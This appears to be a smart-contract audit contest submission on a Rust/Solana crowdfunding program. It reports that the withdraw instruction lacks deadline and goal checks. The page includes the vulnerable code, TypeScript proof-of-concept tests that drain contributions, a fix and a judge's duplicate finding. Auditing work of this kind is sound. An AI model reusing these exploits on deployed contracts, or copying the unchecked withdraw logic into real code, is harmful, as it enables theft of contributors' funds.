Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

Creator can withdraw all raised funds before campaign deadline and before goal is met

DESCRIPTION:

Normal behavior:
In a crowdfunding protocol, the campaign creator should only be able to withdraw raised funds after the campaign has concluded. Specifically, withdrawal should be permitted only after the deadline has passed AND the funding goal has been met. This ensures contributors that their funds are either used for the project (goal met, deadline passed) or refundable (goal not met, deadline passed).

Specific issue:
The withdraw instruction reads fund.amount_raised and transfers that amount from the Fund PDA to the creator via direct lamport balance manipulation. There is no check on fund.deadline (the creator can withdraw before the deadline) and no check on fund.goal (the creator can withdraw even if the goal has not been met). The goal field is stored in the Fund account but is never referenced in any instruction logic after fund_create. This allows the creator to drain all contributed funds at any time, effectively rugpulling contributors.

ROOT CAUSE:

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
// @> No check on fund.deadline — creator can withdraw before deadline
// @> No check on fund.goal — creator can withdraw before goal is met
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

RISK:

Likelihood:
HIGH — This occurs whenever a creator calls the withdraw instruction, regardless of the campaign state. There are no conditions that must be met (no deadline check, no goal check). Any creator can withdraw at any time after the first contribution is made. The only prerequisite is that fund.amount_raised > 0, which is true as soon as any contributor deposits SOL.

Impact:
HIGH — All contributor funds are stolen. The creator receives every lamport that contributors deposited. Contributors have no mechanism to prevent this, and due to RF-02 (contribution.amount is never updated), they cannot recover their funds through refunds. This completely breaks the trust model of the crowdfunding protocol.

PROOF OF CONCEPT:

// RF-01: Creator withdraws before deadline and before goal
// Save as: tests/rf01-poc.ts
it("Creator withdraws immediately after contribution (before deadline, before goal)", async () => {
// Setup: Create fund with 10 SOL goal, 30-day deadline
await program.methods.fundCreate("VictimFund", "Campaign", goal)
.accounts({ fund: fundPDA, creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId })
.rpc();
await program.methods.setDeadline(deadline) // 30 days from now
.accounts({ fund: fundPDA, creator: creator.publicKey })
.rpc();
// Victim contributes 2 SOL
await program.methods.contribute(new anchor.BN(2_000_000_000))
.accounts({ fund: fundPDA, contributor: victim.publicKey,
contribution: contributionPDA,
systemProgram: anchor.web3.SystemProgram.programId })
.signers([victim])
.rpc();
// EXPLOIT: Creator withdraws immediately — no deadline check, no goal check
const creatorBalBefore = await provider.connection.getBalance(creator.publicKey);
await program.methods.withdraw()
.accounts({ fund: fundPDA, creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId })
.rpc();
const creatorBalAfter = await provider.connection.getBalance(creator.publicKey);
// Creator gained ~2 SOL despite deadline being 30 days away
const gained = creatorBalAfter - creatorBalBefore;
assert(gained > 1_900_000_000, "Creator should have gained ~2 SOL");
});

RECOMMENDED MITIGATION:

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
+
+ // Require deadline to be set and reached
+ if ctx.accounts.fund.deadline == 0 {
+ return Err(ErrorCode::DeadlineNotSet.into());
+ }
+ if ctx.accounts.fund.deadline > Clock::get()?.unix_timestamp.try_into().unwrap() {
+ return Err(ErrorCode::DeadlineNotReached.into());
+ }
+
+ // Require goal to be met
+ if ctx.accounts.fund.amount_raised < ctx.accounts.fund.goal {
+ return Err(ErrorCode::GoalNotReached.into());
+ }
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] No check for if campaign reached deadline before withdraw

## Description A Malicious creator can withdraw funds before the campaign's deadline. ## Vulnerability Details There is no check in withdraw if the campaign ended before the creator can withdraw funds. ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## Impact A Malicious creator can withdraw all the campaign funds before deadline which is against the intended logic of the program. ## Recommendations Add check for if campaign as reached deadline before a creator can withdraw ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { //add this if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } //stops here let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## POC keep everything in `./tests/rustfund.rs` up on to `Contribute to fund` test, then add the below: ```TypeScript it("Creator withdraws funds when deadline is not reached", async () => { const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey); const fund = await program.account.fund.fetch(fundPDA); await new Promise(resolve => setTimeout(resolve, 150)); //default 15000 console.log("goal", fund.goal.toNumber()); console.log("fundBalance", await provider.connection.getBalance(fundPDA)); console.log("creatorBalanceBefore", await provider.connection.getBalance(creator.publicKey)); await program.methods .withdraw() .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey); console.log("creatorBalanceAfter", creatorBalanceAfter); console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA)); }); ``` this outputs: ```Python goal 1000000000 fundBalance 537590960 creatorBalanceBefore 499999999460946370 creatorBalanceAfter 499999999960941400 fundBalanceAfter 37590960 ✔ Creator withdraws funds when deadline is not reached (398ms) ``` We can notice that the creator withdraws funds from the campaign before the deadline.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!